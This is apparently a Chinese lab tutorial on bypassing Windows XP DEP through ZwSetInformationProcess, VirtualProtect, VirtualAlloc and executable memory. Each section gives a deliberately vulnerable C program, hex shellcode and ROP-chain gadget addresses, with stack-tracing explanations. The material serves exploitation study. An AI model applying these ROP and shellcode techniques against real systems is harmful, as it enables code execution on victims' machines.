利用ZwSetInformationProcess
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp sp2 | 关闭SafeSEH,GS |
编译器 | VS 2008 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验代码
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xC0\xA0\x95\x7C"//MOV EAX,1 RETN地址
"\x92\x81\x1D\x5D"//修正EBP
"\x2B\x13\x18\x5D"//增大ESP
"\x87\xBB\xD8\x77"//jmp esp
"\xF8\xD3\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"
"\xFF\x90\x90\x90"
;
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
_asm int 3
char temp[200];
test();
return 0;
}
这里面的esp,ebp变化比较复杂,建议好好调试一下。
进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInformationProcess和ZwSetInformationProcess进行查询和修改。
_KEXECUTE_OPTIONS
_KEXECUTE_OPTIONS
pos0 ExecuteDisable
pos1 ExecuteEnable
Pos2 DisableThunkEmulation
pos3 Permanent
pos4 ExecuteDispatchEnable
pos5 ImageDsiapatchEnable
pos6 Spare
每个一bit
前四个bit和DEP鱼贯,当前进程DEP开启时ExecuteDisbale位被置1,当进程DEP关闭时ExecuteEnable被置1,DisableThunkEmulation时为了兼容ATL程序设置的,Permanent被置1后标识这些标志都不能修改。真正影响DEP状态的是前两位,所以我们只要将_KEXECUTE_OPTIONS的值设置为0x02(二进制00000010)就可以ExecuteEnable设置为1。
关键函数NtSetInfomationProcess:
ZwsetInformationProess(
IN HANDLE ProcessHandle;
IN PROCESS_INFORMATION_CLASS ProcessInformationClass;
IN PVOID ProcessInformation;
IN ULONG ProcessInformationLength
)
第一个参数为进程的句柄,设置为-1表示为当前进程;第二个参数为信息类:第三个参数可以用来设置_KEXECUTE_OPTIONS,第四个参数为第三个参数的长度。Skape和Skywing在论文Bypassing Windows Hardware-Enforce DEP中给出了关闭DEP的参数设置。
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
ZwsetInformationProess(
NtCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags // ptr to 0x2
sizeof(ExecuteFlags) // 0x4
)
如果一个进程的permanent位没有设置,当它加载DLL时,系统就会对这个DLL进行DEP兼容性检查,当兼容性问题存在的时候DEP就会关闭。为此微软设立了LdrpCheckNXCompatibility函数,当满足下列条件之一的时候进程DEP就会被关闭。
- 当DLL收SafeDisc版权保护系统保护时,
- 当DLL包含有.aspeak,.pcle,.sforce等字节时。
- Windows Vista下面当DLL包含在注册表“HKEY_LOCAL_MACHINE\SOFETWARE\Microsoft/Windows NT\CurrentVersion\Image File Execution Option\DllNXOptions”键下边标识出不需要启动DEP模块时。
Windows XP SP3下LdrpCheckNXCompatibility关闭DEP的具体流程如下。
为了使得程序位SafeDisc,首先需要让al=1。这里选择了让mov eax,1 retn这个指令序列的地址覆盖返回地址,成为返回执行的第一个指令。当执行完这一条指令后,由于ebp之前被覆盖为了0x90909090,故而LdrpCheckNXCompatibility将[ebp-4]=2的时候会出错。所以这里需要恢复EBP的值。选择使用push esp,pop ebp,这也使得ebp=esp(push之前的esp的值)。后续由于最后关闭DEP之后有个retn 4和leave,而leave则是将ebp的值赋给esp,故而恢复了esp的值,所以之前的retn 28 并不会对esp造成影响,只是单纯的抬高栈顶使得push不会破坏shellcode罢了。
下面是esp的变化。
此时指向的时esp指向的是返回地址,也就是mov eax,1 retn那个地址。
第二个retn 执行的是push esp ,pop ebp那串代码。这里开始ebp一直指着增加esp的代码。后续是retn 4。
开始执行retn 28之前会使得esp指向关闭DEP的代码。后续的leave会让esp指向jmp esp的指令地址,而retn 4会让esp指向最后的跳转指令。使得跳转到shellcode开始。
esp的变化建议自己做的时候看一遍。
实战之利用VirtualProtect
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp sp2 | 关闭SafeSEH,GS |
编译器 | VS 2008 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验代码
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x61\xDE\x87\x7C"//pop eax retn
"\xEF\xEF\x92\x7C"//pop pop pop retn
"\xAC\xD0\x56\x77"//修正EBP
"\x22\x10\x40\x00"//RETN
"\x90\x90\x90\x90"
"\x86\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\x86\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD5\x1A\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xBA\x59\xE6\x77"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,420);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
// _asm int 3
test();
return 0;
}
修改内存属性的VirtualProtect函数,位于kernel32.dll中,通过该函数用户可以修改内存的属性,包括是否可执行属性,因此需要在堆栈中布置好参数,然后调用函数。
VirtualProtect函数:
HRESULT VirtualProtect (
[in] void* lpAddress, //指向要更改其保护属性的虚拟内存基址的指针
[in] SIZE_T dwSize, //要更改的内存页区域的大小(以字节为单位)
[in] DWORD flNewProtect, //要应用的内存保护的类型
[out] DWORD* pflOldProtect //指向上一个内存保护值的指针
);
各参数的意义为:
lpAddress,要改变属性的内存起始地址。
dwSize,要改变属性的内存区域大小。
flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该
内存页为可读可写可执行。
pflOldProtect,内存原始属性类型保存地址。
修改内存属性成功时函数返回非 0,修改失败时返回 0。
EBP+8 ~ EBP+18这16个字节用来设置参数。[EBP+C]和[EBP+10]这两个参数是固定的,可以直接在shellcode设置,[EBP+8]需要落在我们控制的堆栈范围。[EBP+14]要保证为一可写地址。
由于EBP被破坏所以需要修复EBP。
ESP追踪:
- 返回地址,EIP至pop eax retn处执行。
- eax指向pop pop pop retn的指令地址。ESP指向修正EBP的地址(在retn之前)
- ESP指向retn的地址,并让修复EBP和EBP都变成retn处的地址。
- 随后通过两个push esp,jmp retn的指令补全ebp附近的参数。并且跳转到VirtualProtect执行。
- 随着VitrualProtect的retn 10,使得ESP指向了shellcode的地方,retn后执行的指令为jmp esp。故而开始执行shellcode
这里可能用到的pop pop pop retn,pop eax retn,均可以通过OllyFindAddress插件找到。
shellcode布置的巧妙之处,在我看来首先是pop eax retn,将pop pop pop retn的地址放在了eax中,随后retn执行第一次push esp jmp eax指令的时候,恰好改变了第一个push esp jmp eax指令的地址。随后的pop pop pop retn也压入了另一个参数并且开始执行VirtualProtect函数。
实战之利用VirtualAlloc
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp sp2 | 关闭SafeSEH,GS |
编译器 | VS 2008 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验代码
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xB7\x26\xF2\x77"//修正EBP retn 4
"\x94\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x61\xDE\x87\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x04\x2B\x99\x7C"//pop pop retn
"\xB7\x26\xF2\x77"//修正EBP retn4
"\x8F\xE6\x96\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
"\x86\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\x05\x22\x92\x7C"//memcpy
"\x90\xEB\x09\x90"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
_asm int 3
test();
return 0;
}
VirtualAlloc(
LPVOID lpAddress, #申请内存区域的地址,
SIZE_T dwSize, #申请内存的大小
DWORD flAllocationType, #申请内存的类型
DWORD flProtect#申请内存的访问控制类型,如读、写、执行等权限
);
参数设置:
我们将lpAddress=0x00030000,只要是一个未被占用的地址即可。
dwSize=0xff,申请的空间足够存放shellcode即可,我们选择255个字节
flAllocationType=0x00001000,查看MSDN
flProtext=0x00000040,内存属性设为可读可写可执行。
VirtualAlloc参数均固定,但是memcpy函数需要控制我们的源地址。memcpy(dst,src,size)
步骤:
- 当修复好EBP准备call VirtualAlloc的时候,恰好ESP指向的是理应push的最后一个参数-1(当前进程),故而我们并没有进行push操作,而是直接call。此时ESP高地址的几个内存空间为所需的参数
- 当call完后
- 将pop pop retn的地址pop到eax中。随后再次修复EBP此时EBP和ESP指向pop retn地址的内存空间
- 随后pop retn开始执行push esp jmp eax。即压入了目前的ESP,使得其为memcpy的源地址。并且执行memcpy函数。
- 可以控制所指的地址直接跳转到shellcode。
- 不过本人通过更改前面几条指令即从shellcode长度开始的内容。使得执行0x00030000开始的命令跳转到shellcode以防出错。
利用可执行内存挑战DEP
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows xp sp2 | 关闭SafeSEH,GS |
编译器 | VS 2008 | |
编译选项 | 默认编译选项 | |
build版本 | release版本 |
实验代码
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x61\xDE\x87\x7C"//pop eax retn
"\xAF\x23\x55\x78"//pop pop retn
"\xE7\xDC\xEC\x77"//修正EBP retn 4
"\xFC\x41\x5A\x78"//pop retn
"\x08\x00\x25\x00"//弹出对机器码在可执行空间的起始地址,转入执行用
"\x00\x00\x25\x00"//可执行内存空间地址,拷贝用
"\x86\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\x05\x22\x92\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x61\x30\x5F\x5F\x68\x68\x75\x31\x79\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
_asm int 3
test();
return 0;
}
前几次实验认真做了的话这里其实很简单。只不过将memcpy函数返回地址直接写到了shellcode开头。
注意的是选择可执行内存的
右键可以改选项。
文章评论